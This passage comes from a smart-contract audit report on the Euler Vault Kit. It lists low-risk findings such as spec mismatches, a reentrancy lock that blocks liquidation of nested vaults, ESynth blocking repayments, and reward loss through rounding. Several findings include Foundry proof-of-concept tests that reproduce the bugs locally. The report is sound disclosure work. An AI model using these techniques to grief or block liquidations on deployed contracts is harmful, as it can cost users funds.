    function setPrice(address base, address quote, uint256 newPrice) external {
        price[base][quote] = newPrice;
    }

}
```

3.1.23 DToken symbol not matching with specs

Submitted by 0xTheBlackPanther

Severity: Low Risk

Context: DToken.sol#L31-L33

Description: If you check EVK-11 it says `symbol - returns the symbol of the associated EVault preceded with "d"` but in the code symbol of the associated EVault preceded with "-DEBT"-

The symbol function slightly differs from the spec as it appends "-DEBT" instead of prefixing with "d". This is a minor deviation, but it provides a similar context of indicating debt.

Recommendation: Either fix the specs or update the code so that both are sync.

3.1.24 `ViewDelegate` is marked `payable` and in specs it says it is `non-payable`

Submitted by 0xTheBlackPanther

Severity: Low Risk

Context: Dispatch.sol#L104-L116

Description: In the docs, it specifies that the `viewDelegate` function, invoked by the `useView` modifier, is non-payable. However, examining the code reveals that `viewDelegate` is actually marked as `payable`.

This discrepancy arises because, even though all functions using the `useView` modifier are strictly view functions and not payable, the `payable` keyword in `viewDelegate` is utilized solely for gas optimization purposes. Regular users cannot transfer ETH to the vault contract through `viewDelegate`; it is only called internally by the vault.

Yet, this implementation directly contradicts the documentation & the specifications, particularly `EVK-9`, which clearly state that `viewDelegate` should be non-payable.

Recommendation: If the `payable` keyword in `viewDelegate` is intended for gas optimization, please update the specifications and documentation to reflect this. If it is merely decorative and serves no functional purpose, consider removing it to align with the stated non-payable requirement.

3.1.25 Certain addresses are not compatible with `_getDecimals`

Submitted by mt030d

Severity: Low Risk

Context: BaseAdapter.sol#L25-L35

Description:

> Oracles can use ERC-7535, ISO 4217 or other conventions to represent non-ERC20 assets as addresses.

Indicated by the above comment, the `asset` could be arbitrary address value and `_getDecimals` should be able to return 18 as a fallback value. However, this does not apply when the asset is represented by `address(0x02)` or `address(0x03)`. Take `address(0x02)` for example, this address is the precompile for SHA2-256 hash. When called by:

```
(bool success, bytes memory data) = address(0x02).staticcall(abi.encodeCall(IERC20.decimals, ()));
```

The returned `success` is true, and the length of returned `data` is 32, meaning `success && data.length == 32` evals to `true`. Then the subsequent control flow in `_getDecimals` goes to `abi.decode(data, (uint8))`, which will revert because the `data` exceeds the representable range of `uint8`.

As a result, instead of returning 18 as the fallback value, a call to `_getDecimals(address(0x02))` will revert. The same issue applies to `_getDecimals(address(0x03))`.

The impact is that 0x02 and 0x03 are incompatible with the design of `_getDecimals` and should not be used to represent assets. Otherwise, the Oracle deployment will fail. Additionally, other addresses might encounter the same issue if:

1. The address is a precompile contract in another deployed chain.
2. The address is assigned to a new precompile contract in a future blockchain upgrade. For example, if address(0x0012) is used to represent the "Albanian lek" currency following ISO 4217, and Ethereum assigns a new hash function to this address in an upgrade, the same issue will apply.

Recommendation: The team should document this potential issue of using a precompile address to represent an asset.

3.1.26 `calculateDTokenAddress` is not compatible with zkSync

Submitted by 0xTheBlackPanther

Severity: Low Risk

Context: BorrowUtils.sol#L152-L165

Description: The `calculateDTokenAddress` function in the current implementation calculates the address of the `DToken` contract using Ethereum's standard address derivation method. This method is based on the `keccak256` hash of the deployer's address and a nonce value. However, zkSync utilizes a distinct address derivation method that includes a custom prefix and specific padding for the sender's address and nonce. Consequently, the function does not produce the correct address for the `DToken` contract on zkSync.

Impact:

- On zkSync, the `calculateDTokenAddress` function will derive an incorrect address for the `DToken` contract because it does not account for zkSync's unique address derivation logic.
- Although debts are tracked in vault storage and can be read with `debtOf()`, the DToken provides a read-only ERC-20 interface for debts. When debt amounts change, the vault calls into the DToken contract to log these changes. An incorrect DToken address disrupts this process, failing to log debt modifications accurately.
- The primary purpose of DToken is to facilitate off-chain analysis by making debt modifications visible in block explorers and trackable by tax-accounting software. Incorrect address derivation prevents these logs from being generated correctly, impairing transparency and analysis.
- Advanced users rely on `DToken` logs and the `pullDebt()` function to manage debt portability within the vault system. Incorrect address resolution interferes with these functions, complicating or even preventing the voluntary assumption of debts.

Recommendation: Rewrite `calculateDTokenAddress` function so that it supports all the chains EVK will be used on. In the contest rules page it is mentioned that "Issues related to Arbitrum, Base, and Optimism networks are in scope" make sure to check the rules of all these EVM networks because most of them use different mechanism to handle the address calculations.

3.1.27 `LiquidityUtils::checkLiquidity()` - L51: Natspec comment and implemented logic do not agree

Submitted by 0xSCSamurai, also found by krikolkk, Emile Baizel, ayeslick, 0xa5df and bareli

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description:

- `LiquidityUtils::checkLiquidity()` - L51: Natspec comment and implemented logic do not agree, and function will revert when `collateralValue == liabilityValue`.
- `LiquidityUtils::checkLiquidity()` - L51: Natspec comment and implemented logic do not agree, and function will revert when `collateralValue == liabilityValue`.

The `if` check `if (collateralValue > liabilityValue)` is correct if it's protocol intention to revert the function call whenever the `collateralValue` equals the `liabilityValue`, but then the natspec comment should be corrected. Alternatively, if the `if` check is incorrect and the natspec comment correct, then the valid case `collateralValue == liabilityValue` will always trigger a revert and DoS any function calls that depend on `checkLiquidity()` to return without reverting.

The natspec comment can be seen below:

```
// Check that the value of the collateral, adjusted for borrowing LTV, is equal or greater than the liability
↪  value. /// @audit-issue this comment not in line with L51.
// Since this function uses bid/ask prices, it should only be used within the account status check, and not
// for determining whether an account can be liquidated (which uses mid-point prices).
function checkLiquidity(VaultCache memory vaultCache, address account, address[] memory collaterals)
    internal
    view
    virtual
{
    validateOracle(vaultCache);

    Owed owed = vaultStorage.users[account].getOwed();
    if (owed.isZero()) return;

    uint256 liabilityValue = getLiabilityValue(vaultCache, account, owed, false);

    uint256 collateralValue;
    for (uint256 i; i < collaterals.length; ++i) {
        collateralValue += getCollateralValue(vaultCache, account, collaterals[i], false);
        if (collateralValue > liabilityValue) return;
    }

    revert E_AccountLiquidity();
}
```

Impact:

- QA if the implemented logic is correct, and just the natspec comment incorrect, but if the logic is incorrect, then impact is high and likelihood is high too, so severity medium to high. However, the logic is probably correct as it's likely the case that we dont want the collateral value to be less OR equal to the liability value, otherwise it could be liquidation trigger happy.
- The natspec comment could be misleading to unsuspecting integrating devs.

Recommendation:

- Natspec comments serve an important role, they help make it clear what the purpose of a function and its variables/parameters are, and therefore it is important for natspec comments to be an accurate reflection of the implemented logic.
- It might be obvious for some devs, but not for all.
- Wont always be obvious whether the logic is incorrect or the natspec comment, so extra care should be taken to ensure that the comments are in line with the code.

3.1.28 Liquidation won't work when a nesting vault of the liability vault is used as collateral

Submitted by mt030d, also found by shaka

Severity: Low Risk

Context: EulerRouter.sol#L133-L138, Liquidation.sol#L46-L49, Vault.sol#L35

Description: According to the EVK White Paper:

> Euler Vaults have been designed to allow nesting for all viable configurations without triggering re-entrancy problems, and convertToAssets can be safely used as a pricing oracle.

However, a DoS due to re-entrancy is caused if a nesting vault of the liability vault is used as one of the collaterals. The root cause of this issue is due to the following two factors:

- The `convertToAssets()` function is modified by a `nonReentrantView` modifier, preventing it from being executed within the `liquidate()` function, which has a `nonReentrant` modifier. (Unless the caller is the hookTarget, but that's irrelevant to the current issue).
- When pricing a nesting vault, the `getQuote()` function in the `EulerRouter` contract calls `convertToAssets()` to recursively resolve the price:

```
  function resolveOracle(uint256 inAmount, address base, address quote)
      public
      view
      returns (uint256, /* resolvedAmount */ address, /* base */ address, /* quote */ address /* oracle
↪  */ )
  {
      // ... snip...
      // 3. Recursively resolve `base`.
      address baseAsset = resolvedVaults[base];
      if (baseAsset != address(0)) {
            inAmount = IERC4626(base).convertToAssets(inAmount); // <<<
          return resolveOracle(inAmount, baseAsset, quote);
      }
      // ...snip...
  }
```

Therefore, if the liability vault is the underlying asset behind one of the collateral vaults, a call to `liquidate()` will invoke `convertToAssets()` when pricing the collateral. This call reverts due to the reentrancy lock, preventing the borrower's loan from being liquidated.

If the governor of `EulerRouter` directly configures the oracle for the nesting vault via `govSetConfig()`, then `getQuote()` will use the configured oracle instead of calling `convertToAssets()` to price the nesting vault. However, this might not fully resolve the issue, as pricing the nesting vault without `convertToAssets()` is challenging. Even if an oracle is directly configured, this oracle might still call `convertToAssets()` internally.

Proof of concept:

```
// test/unit/evault/POC.t.sol
// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.0;

import {EVaultTestBase} from "./EVaultTestBase.t.sol";
import "../../../src/EVault/shared/types/Types.sol";
import "../../../src/EVault/shared/Constants.sol";
import {IRMTestZero} from "../../mocks/IRMTestZero.sol";
import {Errors} from "../../../src/EVault/shared/Errors.sol";
import {EulerRouter} from "euler-price-oracle/EulerRouter.sol";
import {BaseAdapter} from "euler-price-oracle/adapter/BaseAdapter.sol";

// a mock oracle with 1:1 price
contract MockOracle is BaseAdapter {
    string public constant name = "MockOracle";

    function _getQuote(uint256 inAmount, address, address) internal view override returns (uint256) {
        return inAmount;
    }
}

contract POC_Test is EVaultTestBase {
    using TypesLib for uint256;

    IEVault eeTST;
    EulerRouter routerOracle;
    address routerGoverner = makeAddr("routerGoverner");

    address depositor = makeAddr("depositor");
    address borrower = makeAddr("borrower");

    function setUp() public override {
        super.setUp();

        routerOracle = new EulerRouter(routerGoverner);

        eTST = IEVault(
            factory.createProxy(
                address(0), true, abi.encodePacked(address(assetTST), address(routerOracle), unitOfAccount)
            )
        );
        eTST.setInterestRateModel(address(new IRMTestZero()));
        vm.label(address(eTST), "eTST");

        eeTST = IEVault(
```

```
            factory.createProxy(address(0), true, abi.encodePacked(address(eTST), address(routerOracle),
↪  unitOfAccount))
        );
        eeTST.setInterestRateModel(address(new IRMTestZero()));
        vm.label(address(eeTST), "eeTST");

        vm.startPrank(routerGoverner);
        routerOracle.govSetConfig(address(assetTST), unitOfAccount, address(new MockOracle()));
        routerOracle.govSetResolvedVault(address(eTST), true);
        routerOracle.govSetResolvedVault(address(eeTST), true);
        vm.stopPrank();

        eTST.setLTV(address(eeTST), 0.9e4, 0.9e4, 0);

        assetTST.mint(depositor, type(uint256).max);
        assetTST.mint(borrower, type(uint256).max);

        vm.startPrank(depositor);
        assetTST.approve(address(eTST), type(uint256).max);
        eTST.approve(address(eeTST), type(uint256).max);

        eTST.deposit(200e18, depositor);
        eeTST.deposit(100e18, depositor);

        evc.enableCollateral(depositor, address(eeTST));
        evc.enableController(depositor, address(eTST));
        vm.stopPrank();

        // borrow 8e18 eTST with 10e18 eeTST as collateral
        vm.startPrank(borrower);
        assetTST.approve(address(eTST), type(uint256).max);
        eTST.approve(address(eeTST), type(uint256).max);

        eTST.deposit(10e18, borrower);
        eeTST.deposit(10e18, borrower);

        evc.enableCollateral(borrower, address(eeTST));
        evc.enableController(borrower, address(eTST));

        eTST.borrow(8e18, borrower);
        vm.stopPrank();
    }

    function test_cannot_liquidate() external {
        // here we set the LTV to make borrower's position liquidatable
        eTST.setLTV(address(eeTST), 0.5e4, 0.5e4, 0);

        // check that borrower's position is liquidatable
        (uint256 maxRepay, uint256 maxYield) = eTST.checkLiquidation(depositor, borrower, address(eeTST));
        assertEq(maxRepay, 8e18);
        assertEq(maxYield, 8e18);

        // check that a call to liquidate will revert due to E_Rennttracy error
        vm.startPrank(depositor);
        vm.expectRevert(Errors.E_Reentrancy.selector);
        eTST.liquidate(borrower, address(eeTST), type(uint256).max, 0);
        vm.stopPrank();
    }
}
```

To run this PoC, first install `euler-xyz/euler-price-oracle` as a dependency:

```
forge install euler-xyz/euler-price-oracle
```

Then use `forge test --mc POC` to run the PoC.

In the PoC, we use the eTST vault as the liability vault and set eeTST, a nesting vault built on eTST, as a collateral. After setting up the borrower's loan, we use `setTVL` to make the loan liquidatable.

As seen from the result of `checkLiquidation`, the loan is liquidatable (non-zero `maxRepay` and `maxYield`). However, the `liquidate()` call reverts due to the E_Reentrancy error.

Recommendation: It is recommended to document this issue of using nesting vault as collateral. Alternatively, consider removing the read-only reentrancy lock in `convertToAssets()`.

3.1.29 `ESynth` can restrict borrowers from performing common actions

Submitted by JCN, also found by Anurag Jain

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: According to code documentation, ESynths are able to be used as collateral in other vaults, but will also be the underlying (i.e. borrowable) asset in Synthetic Vaults.

Synthetic Vaults include hook contracts that disable deposit related operations for all addresses except for the actual `ESynth` itself. The owner of the `ESynth` can deposit `ESynth` into the Synthetic Vault via `ESynth::allocate`:

- ESynth::allocate

```
104:     function allocate(address vault, uint256 amount) external onlyOwner {
105:         if (IEVault(vault).EVC() != address(evc)) {
106:             revert E_NotEVCCompatible();
107:         }
108:         ignoredForTotalSupply.add(vault);
109:         _approve(address(this), vault, amount, true); // @audit: approve synthetic vault to handle
↪  amount of `ESynth` in `ESynth` contract
110:         IEVault(vault).deposit(amount, address(this)); // @audit: supply `ESynth` to the Synthetic
↪  Vault
111:     }
```

Users can then borrow this `ESynth` from the Synthetic Vault. However, we will notice that the `ESynth` contract inherits from the `ERC20Collateral` abstract contract and therefore account status checks are performed for the address whose `ESynth` balance is decreasing (the "from" address) for transfers and burns:

- ERC20Collateral::_update

```
58:     function _update(address from, address to, uint256 value) internal virtual override {
59:         super._update(from, to, value);
60:
61:         if (from != address(0)) {
62:             evc.requireAccountStatusCheck(from); // @audit: schedule account status check for the
↪  "from"
63:         }
```

The above restrictions are appropriate when the `ESynth` is used solely as a collateral asset in a vault, but can inadvertently restrict borrowers from performing common actions when it is used as a borrowable asset. For example, account health checks are unnecessary to perform during repayment, since this action can only increase an account's health.

- Borrowing::repay

```
81:     function repay(uint256 amount, address receiver) public virtual nonReentrant returns (uint256) {
82:         (VaultCache memory vaultCache, address account) = initOperation(OP_REPAY,
↪  CHECKACCOUNT_NONE); // @audit: no account status check scheduled
// ...
89:         pullAssets(vaultCache, account, assets);
```

As shown above, the EVK correctly does not perform account status checks during a repayment action. On line 89 the underlying asset of the vault is transferred from the `account` (user initiating the repay) to the Vault.

- AssetTransfers::pullAssets

```
18:     function pullAssets(VaultCache memory vaultCache, address from, Assets amount) internal virtual {
19:         vaultCache.asset.safeTransferFrom(from, address(this), amount.toUint(), permit2);
```

For normal underlying assets, such as USDC, there are no additional checks performed at this stage. Repayment via this Vault would therefore allow a borrower to partially repay their unhealthy position and move themselves closer to health, despite their account status potentially remaining unhealthy after the repayment.

However, since `ESynth` schedules account status checks for the "from" address of all transfers, borrowers who are attempting to partially repay their unhealthy position directly ("account" == borrower and "receiver" == borrower), will not be able to do so if their post account health remains unhealthy, despite the fact that their position may have gotten healthier.

When the Synthetic Vault has a gap between the `borrowLTV` (80%) and the `liquidationLTV` (90%), there can be multiple honest actions that a borrower can attempt, but will revert if, post-action, their account LTV ratio remains somewhere between the `borrowLTV` and the `liquidationLTV` (i.e. they can not perform new borrows and they are not eligible for liquidation):

1. Borrower borrows up to max borrow amount, therefore their account LTV ratio is `< borrowLTV`. Interest accrues and their account LTV ratio becomes `>= borrowLTV`. The borrower is unable to freely utilize their borrowed `ESynth` until they perform a repayment so that their account LTV ratio drops below the `borrowLTV`. Note that at this point the borrower is not eligible for liquidation and they should only be restricted from withdrawing collateral or performing new borrows.
2. Borrower's account becomes eligible for liquidation (account LTV ratio >= `liquidationLTV`). Borrower does not have enough `ESynth` on hand to repay an amount that brings his account completely into health (`< borrowLTV`), so they opt to partially repay their unhealthy position to move themselves out of the liquidation zone or lessen their liquidation penalty (improve their account health). I.e. their post account LTV ratio would be `> borrowLTV & < liquidationLTV`. However, the `ESynth` would restrict this borrower from moving their account closer to health. *Note that it is also possible for a borrower to be restricted from lessening their liquidation penalty even if the `borrowLTV == liquidationLTV`.*

Impact: Borrowers who have a debt position inside of synthetic vaults may not be able to freely utilize their borrowed assets if their post account status remains unhealthy. This can grief the borrower in the best case, but in the worse case it can result in the borrower being unable to save themselves from liquidation events.

Technicalities: In regards to the first example from the previous section, the borrower is able to perform a repay to bring their position's LTV ratio below the `borrowLTV` and then freely utilize their borrowed funds. However, this introduces a new restriction on the borrower as they are now forced to perform repayments, which can be seen as an unnecessary additional burden to the borrower that they must remediate before they can utilize their funds.

In regards to the second example from the previous section, the borrower is able to partially repay their position via an alternative account that is healthy. However, seeing as it is likely that borrowers will repay their positions directly (with the same unhealthy account), the borrower in this case would have to transfer their assets to their alternative account, approve that account to operate on behalf of their unhealthy account, and then execute another repay transaction. Thus, the impact for this example can be viewed as `Griefing` since they have to perform multiple additional transactions in order to work around a blocked action.

Additionally, since liquidations are time-sensitive events, a borrower who is partially repaying their unhealthy position via their own account may not have sufficient time to troubleshoot the reason for the initial transaction reversion and perform the alternative actions above. Thus, the borrower in this case would be unable to save themselves from liquidation and will unnecessarily lose funds to a liquidator.

Proof of concept: Copy the contents below into the `./test/unit/evault/POC.t.sol` file and run with `forge test --mc POC_Test`:

```
// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.0;

import {EVaultTestBase} from "./EVaultTestBase.t.sol";
import "../../../src/EVault/shared/types/Types.sol";
import "../../../src/EVault/shared/Constants.sol";

import {ESynth} from "../../../src/Synths/ESynth.sol";
import {TestERC20} from "../../../mocks/TestERC20.sol";
import {Errors} from "../../../src/EVault/shared/Errors.sol";

contract POC_Test is EVaultTestBase {
    using TypesLib for uint256;

    ESynth esynth;
    TestERC20 assetTSTSynth;
    IEVault eTSTSynth;
```

```
    address depositor;
    address borrower;

    function setUp() public override {
        super.setUp();

        // Setup ESynth and ESVault

        esynth = ESynth(address(new ESynth(evc, "Test Synth", "TST")));
        assetTSTSynth = TestERC20(address(esynth));

        eTSTSynth = createSynthEVault(address(assetTSTSynth));

        esynth.setCapacity(address(this), type(uint128).max);
        esynth.mint(address(esynth), 100e18);
        esynth.allocate(address(eTSTSynth), 100e18);

        // Actors

        depositor = makeAddr("depositor");
        borrower = makeAddr("borrower");

        // Setup oracles for all vaults

        oracle.setPrice(address(assetTST), unitOfAccount, 1e18);
        oracle.setPrice(address(assetTSTSynth), unitOfAccount, 1e18);
        oracle.setPrice(address(eTST2), unitOfAccount, 1e18);

        // set borrowLTV to 80% and liquidationLTV to 90%
        eTST.setLTV(address(eTST2), 0.8e4, 0.9e4, 0);
        eTSTSynth.setLTV(address(eTST2), 0.8e4, 0.9e4, 0);

        // Depositor for EVault

        vm.startPrank(depositor);

        assetTST.mint(depositor, type(uint256).max);
        assetTST.approve(address(eTST), type(uint256).max);
        eTST.deposit(100e18, depositor);
        vm.stopPrank();

        // Borrower

        vm.startPrank(borrower);

        assetTST2.mint(borrower, type(uint256).max);
        assetTST2.approve(address(eTST2), type(uint256).max);
        vm.stopPrank();
    }

    function test_partially_repay_unhealthy_position_eVault() external {
        _attempt_partial_repay(eTST, assetTST, false);
    }

    function test_partially_repay_unhealthy_position_esVault() external {
        _attempt_partial_repay(eTSTSynth, assetTSTSynth, true);
    }

    function _attempt_partial_repay(IEVault controller, TestERC20 controllerAsset, bool isSynth) internal {
        // deposit collaterals into collateral vault and enables vaults
        vm.startPrank(borrower);
        eTST2.deposit(10e18, borrower);

        evc.enableCollateral(borrower, address(eTST2));
        evc.enableController(borrower, address(controller));

        // borrower borrows from controller
        controller.borrow(5e18, borrower);
        assertEq(controllerAsset.balanceOf(borrower), 5e18);
        vm.stopPrank();

        // borrower's positions is healthy (can not be liquidated)
        (uint256 collateralValue, uint256 debtValue) = controller.accountLiquidity(borrower, true); // check
↪  liquidity via liquidationLTV
        assertGt(collateralValue, debtValue);
```

```
        // collateral asset's value falls
        oracle.setPrice(address(eTST2), unitOfAccount, 5e17);

        // borrower's position is now unhealthy (can be liquidated)
        (collateralValue, debtValue) = controller.accountLiquidity(borrower, true); // check liquidity via
↪  liquidationLTV
        assertGt(debtValue, collateralValue);

        // borrower attempts to partially repay unhealthy position to move out of liquidation zone
        vm.startPrank(borrower);
        controllerAsset.approve(address(controller), 6e17);

        if (isSynth) {
            // borrower attempts to partially repay position
            vm.expectRevert(Errors.E_AccountLiquidity.selector);
            controller.repay(6e17, borrower); // esVault prevents borrower from moving closer to health as it
↪  schedules an account status check

            // borrower's position can still be liquidated
            (collateralValue, debtValue) = controller.accountLiquidity(borrower, true); // check liquidity via
↪  liquidationLTV
            assertGt(debtValue, collateralValue);
        } else {
            // borrower attempts to partially repay position
            controller.repay(6e17, borrower); // eVault allows borrower to move closer to health as it does
↪  not schedule an account status check

            // borrower's position can no longer be liquidated
            (collateralValue, debtValue) = controller.accountLiquidity(borrower, true); // check liquidity via
↪  liquidationLTV
            assertGt(collateralValue, debtValue);

            // borrower's position is still unhealthy in regards to the borrowLTV (account status checks would
↪  fail)
            (collateralValue, debtValue) = controller.accountLiquidity(borrower, false); // check liquidity
↪  via borrowLTV
            assertGt(debtValue, collateralValue);
        }
    }
}
```

Recommendation: When `ESynth` is used as a collateral asset in collateral vaults, the functionality of scheduling account status checks for the sender is appropriate since the collateral is actively being used to back a loan. However, when the `ESynth` is used as a borrowable asset in a controller, this functionality leads to a edge cases where borrowers can be griefed when performing repayments and attempting to utilize their borrowed funds.

Below is a possible mitigation that would address the edge case for blocked repayments:

- Add a config flag to identify if the vault is a synthetic vault, i.e. if the underlying asset is an `ESynth` asset. If the underlying asset is an `ESynth`, then we can forgive the account status check that is scheduled during the `pullAssets` internal function call at the end of the `repay` function.

The edge case for blocking utilization of borrowed funds would require a more fundamental mitigation. This is due to the fact that a borrowed asset should not have the same restrictions as an asset used as collateral. Therefore, an additional abstract contract for Borrowable assets (similar to `ERC20Collateral`) can be created that defines functionality specific to a borrowable asset. This would differentiate between an `ESynth` that is meant to be used as a collateral asset in collateral vaults, and an `ESynth` that is meant to be used as an underlying asset in a controller.

3.1.30 `_computeRate` code implementation not matching with docs

Submitted by 0xTheBlackPanther

Severity: Low Risk

Context: IRMSynth.sol#L88-L94

Description: In IRMSynth docs and EVK-78 specs it says that if the synth is trading at the target quote or below, lower the rate by 10% (proportional to the previous rate) which is not matching with the code implementation. In code, the `else` part (*decrease the rate*) is executing when synth is trading at or above the target quote.

Recommendation: It seems like the docs statement is wrong, it should be updated as below:

- "If the synth is trading **below** the target quote, raise the rate by 10% (proportional to the previous rate)."
- "If the synth is trading **at or above** the target quote, lower the rate by 10% (proportional to the previous rate)."

3.1.31 Users can not use their non-owner sub-account as the recipient in `unstake()`

Submitted by mt030d

Severity: Low Risk

Context: BaseRewardStreams.sol#L453-L461, StakingRewardStreams.sol#L111

Description:

- BaseRewardStreams.sol#L453-L461:

```
function pushToken(IERC20 token, address to, uint256 amount) internal {
    address owner = evc.getAccountOwner(to);

    if (to == address(0) || (owner != address(0) && owner != to)) {
        revert InvalidRecipient();
    }

    IERC20(token).safeTransfer(to, amount);
}
```

Seen from the above code, the `pushToken()` function revert when we want to send EVault shares to a non-owner EVC sub-account. This is overly restrictive and might inconvenience the user.

Consider the following scenario:

1. Alice has some EVault shares in one of her non-owner sub-accounts, Alice_1.
2. Alice stakes these shares in Alice_1 into the `StakingRewardStreams` contract.
3. After a while, Alice needs to increase her collateral to improve her lending position in Alice_1, so she calls `unstake()` to unstake into Alice_1. However, this fails because `pushToken()` inside `unstake()` does not allow transfers to non-owner sub-accounts.
4. Alice must first unstake to her owner account, and then transfer her EVault shares from her owner account to Alice_1, which is an inconvenient process.

Recommendation: Allow user to set their sub-account as the recipient in `unstake()`.

3.1.32 Potential Permanent Loss of Rewards when there's no staker

Submitted by HChang26, also found by 0xa5df

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: A rounding issue can cause potential permanent loss of rewards when there's no staker for a reward token. This vulnerability can be exploited through a grief attack or by users repeatedly calling `updateReward()` in an attempt to claim rewards.

Proof of concept: The `StakingRewardStreams.sol` contract is designed so that when there's no staker for a specific reward token, anyone can call `updateReward()` to prevent the permanent loss of rewards.

> Protection against reward tokens being lost in case nobody earns them.

The `updateRewardInternal()` function triggers `calculateRewards()` to compute all reward-related variables. When there are no active stakers (`currentTotalEligible == 0`), `deltaAccountZero` represents the amount that would have been lost if it wasn't credited to `address(0)`—allowing anyone to claim it.

```
function calculateRewards(
    DistributionStorage storage distributionStorage,
    EarnStorage storage accountEarnStorage,
    uint256 currentAccountBalance,
    bool forfeitRecentReward
)
    internal
    view
    virtual
    returns (uint48 lastUpdated, uint208 accumulator, uint96 claimable, uint96 deltaAccountZero)
{
    lastUpdated = distributionStorage.lastUpdated;
    accumulator = distributionStorage.accumulator;
    claimable = accountEarnStorage.claimable;

    if (lastUpdated == 0) {
        return (lastUpdated, accumulator, claimable, 0);
    }

    if (!forfeitRecentReward) {
        uint48 epochStart = getEpoch(lastUpdated);
        uint48 epochEnd = currentEpoch() + 1;
        uint256 delta;

        for (uint48 epoch = epochStart; epoch < epochEnd; ++epoch) {
            unchecked {
                delta += rewardAmount(distributionStorage, epoch) * timeElapsedInEpoch(epoch, lastUpdated);
            }
```

```
        }

        uint256 currentTotalEligible = distributionStorage.totalEligible;

        ->if (currentTotalEligible == 0) {

            ->deltaAccountZero = uint96(delta / EPOCH_DURATION);

        } else {

            unchecked {

                accumulator += uint160(delta * SCALER / EPOCH_DURATION / currentTotalEligible);

            }

        }

        lastUpdated = uint48(block.timestamp);

    }

    claimable += uint96(uint256(accumulator - accountEarnStorage.accumulator) * currentAccountBalance / SCALER
);

}
```

Note when there are active stakers, the `accumulator` is scaled by `SCALER`. However, this is not done when there are no stakers, leading to potential permanent loss of rewards due to significant rounding issues. `EPOCH_DURATION` can range anywhere from 1 week to 10 weeks.

Assume `EPOCH_DURATION` is 10 weeks (10 x 7 x 24 x 60 x 60 = 6,048,000 seconds). This means the calculation can round off as much as 6,048,000 - 1. If the reward token is USDC with 6 decimals, each `updateReward()` invocation can result in a loss of up to approximately $6.04. This loss is magnified when multiple reward tokens are supported on `StakingRewardStreams.sol`. Tokens with fewer than 18 decimals, such as USDT and WBTC, will experience significant losses.

This vulnerability can be exploited through grief attacks by repeatedly calling the function. Honest users might also call this function to try to claim rewards from `address(0)`, but they end up receiving 0 rewards due to the rounding issue. The high likelihood of repeatedly calling `updateReward()` to claim free rewards increases the chances of permanent loss of rewards due to the rounding issue.

Recommendation: Consider scaling `deltaAccountZero` by `SCALER`. Scale it back down by `SCALER` in `claim()` if `account == address(0)`:

```
  function claim(address account, address rewarded, address reward, address recipient) internal virtual {
      EarnStorage storage accountEarned = accounts[account][rewarded].earned[reward];
      uint128 amount = accountEarned.claimable;

+     if(account == address(0)){
+         amount = amount / SCALER;
+     }
      if (amount != 0) {
          DistributionStorage storage distributionStorage = distributions[rewarded][reward];
          uint128 totalRegistered = distributionStorage.totalRegistered;
          uint128 totalClaimed = distributionStorage.totalClaimed;
          uint128 newTotalClaimed = totalClaimed + amount;

          assert(totalRegistered >= newTotalClaimed);

          distributionStorage.totalClaimed = newTotalClaimed;
          accountEarned.claimable = 0;

          pushToken(IERC20(reward), recipient, amount);
          emit RewardClaimed(account, rewarded, reward, amount);
      }
  }
```

3.1.33 `AssetTransfers::pushAssets()` - Natspec comments say opposite of implemented logic

Submitted by 0xSCSamurai

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: `AssetTransfers::pushAssets()` - Natspec comments say opposite of implemented logic. The natspec comments and function in question:

```
/// @dev If the `CFG_EVC_COMPATIBLE_ASSET` flag is set, the function will protect users from mistakenly sending
/// funds to the EVC sub-accounts. Functions that push tokens out (`withdraw`, `redeem`, `borrow`) accept a
/// `receiver` argument. If the user sets one of their sub-accounts (not the owner) as the receiver, funds
↪  would be
/// lost because a regular asset doesn't support the EVC's sub-accounts. The private key to a sub-account (not
↪  the
/// owner) is not known, so the user would not be able to move the funds out. The function will make a best
↪  effort
/// to prevent this by checking if the receiver of the token is recognized by EVC as a non-owner sub-account.
↪  In
/// other words, if there is an account registered in EVC as the owner for the intended receiver, the transfer
↪  will
/// be prevented. However, there is no guarantee that EVC will have the owner registered. If the asset itself
↪  is
/// compatible with EVC, it is safe to not set the flag and send the asset to a non-owner sub-account.
function pushAssets(VaultCache memory vaultCache, address to, Assets amount) internal virtual {
    if (
        to == address(0)
            || (vaultCache.configFlags.isNotSet(CFG_EVC_COMPATIBLE_ASSET) && isKnownNonOwnerAccount(to))
    ) {
        revert E_BadAssetReceiver();
    }

    vaultStorage.cash = vaultCache.cash = vaultCache.cash - amount;
    vaultCache.asset.safeTransfer(to, amount.toUint());
}
```

Luckily the implemented logic works as intended and expected, in my opinion. I've double checked it because the natspec comment for the function confused me initially, and then I thought the implemented logic had a bug in it. But a portion of the natspec comments is the bug, so to summarize for you, here is what the natspec comments say (and is INCORRECT) converted into my own wording:

- ASSET COMPATIBLE WITH EVC:
  - Safe to NOT set the flag → `(vaultCache.configFlags.isNotSet(CFG_EVC_COMPATIBLE_ASSET) == true`.
- ASSET INCOMPATIBLE WITH EVC:
  - Set the flag! → `(vaultCache.configFlags.isNotSet(CFG_EVC_COMPATIBLE_ASSET) == false`.

But the corrected natspec comments should say the following instead, to be in line with the implemented logic:

- ASSET COMPATIBLE WITH EVC:
  - Set the flag → `(vaultCache.configFlags.isNotSet(CFG_EVC_COMPATIBLE_ASSET) == false`.
- ASSET INCOMPATIBLE WITH EVC:
  - Don't set the flag! → `(vaultCache.configFlags.isNotSet(CFG_EVC_COMPATIBLE_ASSET) == true`.

Impact: High. It confused me so much that I spent a good amount of time on this... So this could potentially confuse or mislead integrating devs in the future, or even new devs for the Euler protocol? If any future devs follow the natspec comments they could incorrectly implement the logic, which will DoS all cases for compatible asset and subaccount, and will allow for transfers of assets for all cases where incompatible assets to be sent to subaccounts...

Likelihood: Low. Since the bug is not the code but the natspec comments, although future devs could potentially follow the natspec comments 100% and implement the logic incorrectly.

Recommendation:

```
- /// @dev If the `CFG_EVC_COMPATIBLE_ASSET` flag is set, the function will protect users from mistakenly
↪  sending
+ /// @dev If the `CFG_EVC_COMPATIBLE_ASSET` flag is NOT set, i.e. if
↪  `(vaultCache.configFlags.isNotSet(CFG_EVC_COMPATIBLE_ASSET) == true`, the function will protect users from
↪  mistakenly sending
  /// funds to the EVC sub-accounts. Functions that push tokens out (`withdraw`, `redeem`, `borrow`) accept a
  /// `receiver` argument. If the user sets one of their sub-accounts (not the owner) as the receiver, funds
↪  would be
